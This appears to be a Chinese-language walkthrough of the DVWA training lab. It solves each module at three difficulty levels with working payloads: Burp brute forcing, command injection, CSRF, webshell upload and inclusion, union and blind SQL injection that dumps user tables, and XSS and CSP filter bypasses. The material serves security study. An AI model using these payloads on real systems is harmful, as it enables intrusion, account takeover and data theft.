Brute Force
Low
查看源码,只是把用户名密码放在数据库查询并返回相应结果,没有任何限制,
1.随便在登录界面输入账户密码,bp抓包,抓包成功后右键点击send to intruder进行爆破
2.在爆破界面点击clear把所有变量清除,分别双击用户名密码点击add,选择爆破类型Cluster bomb(多参数做笛卡尔积爆破)
3.分别添加字典,点击atrack,开始攻击
4.点击length按顺序排,发现有长度不一样的,查看响应攻击成功
Medium
看代码,在low的基础上对账户名密码进行了数据库查询(如:isset($GLOBALS["___mysqli_ston"]
),并且登录失败后会执行2秒的休眠函数。方法与low一样,只是所用时间加长了。
High
查看源码,比上一题多了token验证
方法:
1.输入用户名admin,密码随意,打开bp抓包,发送到爆破中
2.点击clear清除,双击密码和token点击add,攻击类型选择pitchfork
3.设置payload1跟之前一样
4.设置payload2
然后将options中redirection改为always
在找到Grep-Extract,点击add,再点击refecth response搜索token,双击选择再点击ok
再将抓包时token后的代码复制粘贴到payload options中
6.选择单线程,再点击开始爆破
找到长度不一样的查看响应,成功
Command Injection
Low
输入ip地址127.0.0.1提交,发现有乱码
乱码解决方案,找到dvwa根目录includes文件夹中的下图文件打开
ctrl+f搜索utf-8,将其改为GB2312,再次提交即可
查看源码
相关函数
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
php_uname — 返回运行 PHP 的系统的有关信息。
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回,这里执行的是ping命令
输入ip电脑接受执行,但没有做任何过滤。
输入连接符让计算机做出除ping命令以外的操作实现命令注入
输入127.0.0.1&whoami注入成功
命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令
Medium
查看源码,只是在上一题的基础上过滤了&&和;(将&&和;替换成空格),还是可以用其他连接符
输入127.0.0.1&whoami,成功
High
查看代码,过滤的更多了,但是仔细看发现过滤的是“| ”(|后加了个空格),还是能用|
输入127.0.0.1|dir,成功
CSRF
Low
查看源码,收到输入的密码后会检查两次输入的密码是否相同,如果相同则会修改密码。
输入更改密码,抓包,点击action下的engagementtools中的Generate CSRF Poc,然后点击copy,html
打开phpstudy创造一个网站,打开根目录
创建一个html文件将刚才复制的内容粘贴。
这样我们就创造了一个假的网站
在真网站登录admin账户(密码还没改),输入后打开假的网站点击提交,发现密码改了
退出去使用之前的密码发现登录不上了
本题本意是在网站内更改密码,我们利用csrf漏洞在网站外成功修改,
Medium
查看源码,发现多了一条判断是否访问请求是本网站发起的,如果不是就不能更改。
源码是通过referer进行判断的,通常都是网页的ip地址
抓包看到referer复制
点击假的网站的提交,抓包,加上刚才复制的referer,点击forword
成功
High
查看源码,增加了token验证,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求
绕过token,和第一题High类似
1.打开bp抓包,发送到爆破中
2.点击clear清除,双击密码,再输入的密码和token点击add,攻击类型选择pitchfork
3.设置密码和再输入的密码,两次要一样,最好输入的密码两次以上,因为第一个通常会因为token过期而失效
4.在找到Grep-Extract,点击add,再点击refecth response搜索token,双击选择复制,然后点击ok
底下改为always
5.如图位置复制刚才的token
6.改为单线程,点击开始爆破
7.成功
返回验证密码,密码改成了111111,而不是最开始抓包时的123456
File Inclusion
先在phpstudy打开php配置文件
如图搜索把off改为on
Low
源码就是读取get输入的page
点击文件(有3个),发现page后的数据变了
找了个php文件,内容如下
复制路径粘贴到page后回车发现可以执行
内容改为木马
file upload上传
上传成功
蚁剑连接
输入file4发现隐藏文件
Medium
多了几行,过滤了http和https
str_replace(old,new,max)函数,将old换成new,如果有max,则最多不超过max次
通过双写绕过
hthttp://tp://
High
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
输入page=file://D:\phpstudy_pro\WWW\123\111.php
File Upload
Low
文件上传后保存,保存路径为hackable/uploads,成功返回succesfully uploaded
没有任何过滤,上传一句话木马,和上一题上传方式一样
Medium
对上传文件类型和大小进行了限制,大小小于100000B,类型为png或者image
111.php改后缀为111.png,上传111.png
抓包后缀名改为php,放包
成功
High
getimagesize()函数会通过读取文件头返回图片长宽等信息,如果没有相关文件头会报错,上传的文件必须是.jpg/.jpeg/.png,可以看的只能上传图片类型
我们可以上传图片马,图片马可以用Notepad++打开图片 在一个符合图片末尾添加一句话木马如图
上传
蚁剑连接
Insecure CAPTCHA
首先打开对应根目录配置文件
随便输入密码就可以了
Low
查看源码,分为两部分
第一部分,检查用户输入的验证码,验证通过后,服务器返回表单
第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
输入密码,抓包,将step参数改为2
点击forword
Meidum
查看源码,可以看到在第二部进行验证的时候,加了passed_captcha参数,为true才能通过
和之前一样更改step参数为2,同时将passed_captcha参数设为true,绕过验证码。
High
可以看到当resp参数是false,且g-recaptcha_response不等于hidd3n_valu3或者http包头的User-Agent不等于reCAPTCHA时,验证码错误
resp是返回的验证结果无法控制,要通过更改g-recaptcha_response和User-Agent绕过
SQL Injection
Low
随便输入1,看返回结果
判断类型,输入1‘报错,继续输入1’and '1'='1正常,为字符型
判断字段数,依次输入1‘ order by 1/2/3.... -- a直到报错
到3时报错说明字段数只有两列
判断显示位,联合查询 1’ union select 1,2 -- a
判断数据库1’ union select database(),2 -- a
获取表名。-1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=’dvwa’ -- a
查完表名,查列名,-1’ union select 1, group_concat(column_names) from information_schema.columns where table_name=’users’ -- a
之后就可以查看想要的数据,比如用户名密码
1‘ union select user,password from users
Meidum
判断类型,但是无法输入,抓包输入id=1' and '1'='1报错,输入id=1 and 1=1没有报错,说明是数字型
和low一样步骤
字段id=1 order by 1/2/3.... -- a
显示1 union select 1,2 -- a
表明-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=’dvwa’ -- a
列名-1 union select 1, group_concat(column_names) from information_schema.columns where table_name=’users’ -- a
数据id=1 union select user,password from users
High
判断类型,字符型,方法和low一样
SQL Injection(Blind)
判断类型,输入1’ and '1'='1正常,输入1‘报错,字符型
布尔盲注
猜数据库长度1’ and length(database())=4#,长度为4
猜数据库名字
1' and ascii(substr(database(),1,1))=100#
1' and ascii(substr(database(),2,1))=118#
1' and ascii(substr(database(),3,1))=119#
1' and ascii(substr(database(),4,1))=97#
猜表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
每个表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#
猜表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#
最后可以得出第一个表名为guestbook
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#
第二个表名为users
猜字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
判断第一个字段的长度(user_id)
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
字段的名称(user_id)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#
字段值
1' and ascii(substr((select user from users limit 0,1),1,1))=97#
Meidium 不能输入,抓包输入,和low方法一样
High方法还是一样,只不过增加了随机sleep()函数,时间盲注会受影响但还是可以用布尔盲注
Weak Session IDs
Low
setcookie() 函数向客户端发送一个 HTTP cookie。
cookie 是由服务器发送到浏览器的变量。cookie 通常是服务器嵌入到用户计算机中的小文本文件。每当同一台计算机通过浏览器请求页面时,就会发送这个 cookie。
cookie 的名称自动指定为相同名称的变量。例如,如果被发送的 cookie 名为 "user",则会自动创建一个名为 $user 的变量,包含 cookie 的值。
如果last_session_id不存在就为0,生成cookie时就在cookie上的dvwaSession加1。
点击generate,抓包,发现dvwaSession确实在递增
复制cookie返回登录页面就可以直接登录
Medium
看源码,通过时间戳生成session,time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。
方法和low一样
High
和low相似,只不过将生成的cookie变成32位十六进制加密
方法一样
XSS(DOM)
Low
源码啥也没,点击select看到get传参?default=English,我们就可以改数据,改成=<script>alert(1)</script>,做一个弹窗
Medium
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在返回 true,键名不存在则返回 false。
stripos() 函数查找字符串在另一字符串中第一次出现的位置
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE
就是将<script>过滤掉了
这里通过onerror事件,在装载文档或者图像时发生错误就会触发
输入</select><img src=1 οnerrοr=alert(1)>
High
限制了参数只能是这4个语言,但是我们可以用双参数绕过,即在后面&拼接一个参数
输入&<script>alert(1)</script>
XSS(Reflected)
Low
判断get传入的参数是否存在并输出,没有如和过滤
无论我们输入什么值,在页面中都会显示输入的信息,并且url的name传参值就是我们输入的值
传入xss代码<script>alert(1)</script>
Medium
str_replace函数过滤了<script>
我们可以大写绕过
<Script>alert(1)</script>
也可以双写绕过
<scr<script>ipt>alert(1)</script>
High
过滤了<script>中大写,字符,但是我们还可以用别的标签
<img src=1 οnerrοr=alert(1)>
XSS(Stored)
Low
trim() 函数移除字符串两侧的空白字符或其他预定义字符。返回已修改的字符串。
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
输入数据储存,没有过滤和检查
name有长度限制,在message输入<script>alert(1)</script>,点击sign guestbook,也可以抓包改name
Medium
过滤了script
name有长度限制,转包进行双写绕过<scri<script>pt>alert(1)</script>
High
过滤了<script>中大写,字符,还是可以用别的标签
<img src=1 οnerrοr=alert(1)>
CSP Bypass
Low
从headerCSP可以看出可以执行的外部站点
访问https://pastebin.com/,可以在New Paste中写下代码,点击create去创建链接
点击raw复制链接
CSP页面的输入框输入刚才的链接,成功弹窗
Medium
unsafe-inline
:当csp有Unsafe-inline
时, 并且受限于csp无法直接引入外部js, 不过当frame-src
为self
, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。nonce-source
,仅允许特定的内联脚本块。
所以我们直接输入源码中注释的内容就可以了<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
。
High
来源只能是self
抓包,将callback改为=alert(1)
JavaScript
Low
generate_token()函数用来获取phrase中的值,将rot13加密结果进行md5加密生成token值
输入GhangeMe和success发现不论成功或是失败token值都是一样的,所以这个token值可能是前端生成的
方法
输入success,控制台运行generate_token(),点击提交
Medium
生成token的函数放在单独的js文件中,生成的方式是将XX+phrase+XX字符串反过来作为token
方法
首先输入succee之后抓包看看,现在的token是XXChangeMeXX倒过来
输入success,控制台运行下do_elsesomething("XX")函数,点击提交即可
High
看到js是乱码,需要使用还原工具得到还原后的关键代码如下
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
方法
由于执行token_part_2("XX") 有 300 毫秒延时,所以 token_part_1("ABCD", 44) 会被先执行,而 token_part_3() 则是和提交按钮的click事件一起执行。
输入框输入success,控制台依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX"),最后点击提交执行token_part_3()
Authorisation Bypass
Low
源码啥也没
登录它给的用户
可以看到没有这一栏了,我们的目的就是直接浏览刚才看到的信息
没有任何过滤,所以可以直接url输入vulnerabilities/authbypass/访问
Medium
看到本题已锁定对页面的 HTML 的访问权限,只有管理员才能访问
尝试直接浏览到它所给的/vulnerabilities/authbypass/get_user_data.php 以访问返回页面用户数据的 API。
High
HTML 页面和检索数据的 API 都已锁定
打开所给文件vulnerabilities/authbypass/change_user_details.php
发现缺少post参数,想办法找到
这是一种方法,写一个js文件如下:
fetch('change_user_details.php', { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify({ 'id':1, "first_name": "Harry", "surname": "Hacker" }) } ) .then((response) => response.json()) .then((data) => console.log(data))
Open HTTP Redirect
Low
源码根据 $_GET 数组中的 redirect 键值,在 HTTP 响应头中设置 Location 字段,实现页面重定向的功能。具体实现步骤如下:
1.首先通过 array_key_exists 函数判断 $_GET 数组中是否存在 redirect 键值,如果存在且不为空,则调用 header 函数,否则返回 500 状态码。
2.调用 header 函数,将 Location 字段设置为 $_GET['redirect'] 的值,完成重定向操作。exit 函数用于终止脚本的执行,确保 header 函数的执行效果。
点击Quote1,发现url传参
没有进行任何过滤,URL输入low.php?redirect=百度一下,你就知道 (baidu.com)(跳转网页url)
Medium
防止了绝对url的重定向
-
首先,代码检查是否存在 redirect 键在 $_GET 数组中,并且其值不为空。
-
如果满足条件,则进行进一步判断
- 使用正则表达式
preg_match
来检查 $_GET['redirect'] 的值是否以 "http://" 或 "https://" 开头(不区分大小写)。 - 如果匹配到,说明是一个绝对 URL,会返回 HTTP 响应码 500,并输出 " Absolute URLs not allowed ",然后程序终止。
- 如果没有匹配,即以相对路径形式存在,将执行接下来的代码。
- 使用
header
函数将浏览器重定向到 $_GET['redirect'] 指定的地址。 - 执行
exit
终止后续代码的执行。
- 使用
- 使用正则表达式
-
如果上述条件都不满足,即未提供 "redirect" 参数或其值为空,将返回 HTTP 响应码 500,并输出 "Missing redirect target.",然后程序终止执行。
使用其他方式实现重定向:尝试使用其他方法或工具来实现重定向效果,例如使用 JavaScript 进行重定向或者使用服务器端的重定向规则。
如JavaScript 代码:
<script type="text/javascript">
var redirectURL = "http://www.example.com"; // 设置要重定向的网页地址
window.location.href = redirectURL; // 执行重定向
</script>
将上述代码插入到编辑器的代码中,加载该网页时,JavaScript 代码会将用户重定向到指定的网页。
另一种方法
该代码阻止您使用绝对 URL 将用户带离网站,因此可以使用相对 URL 将他们带到同一网站上的其他页面,也可以使用相对于协议的 URL。
输入url浏览/vulnerabilities/open_redirect/source/low.php?redirect=//digi.ninja
High
-
首先,检查
$_GET
数组中是否存在名为 "redirect" 参数,并且该参数的值不为空。 -
如果满足,进一步检查
$_GET['redirect']
参数中是否包含字符串 "info.php"。这里使用了strpos()
函数来检查字符串中是否包含指定的内容。 -
如果
$_GET['redirect']
参数包含字符串 "info.php",则使用header()
函数进行重定向,将用户重定向到$_GET['redirect']
中指定的页面。 -
如果
$_GET['redirect']
参数不包含字符串 "info.php",则返回 HTTP 响应码 500,并输出"You can only redirect to the info page." -
如果没有传递 "redirect" 参数,或者其值为空,则同样返回 HTTP 响应码 500,并输出:"Missing redirect target."
在构造参数时是指包含字符串info.php即可
?redirect=https//www.baidu.com/?已定义参数=info.php
当该网页没有设定a参数的get传参时
GET ?redirect=https//www.baidu.com/?a=info.php 是无效的
因为字符串"info.php"并未传递给合法的参数
输入url浏览/vulnerabilities/open_redirect/source/low.php?redirect=https//digi.ninja/?a=info.php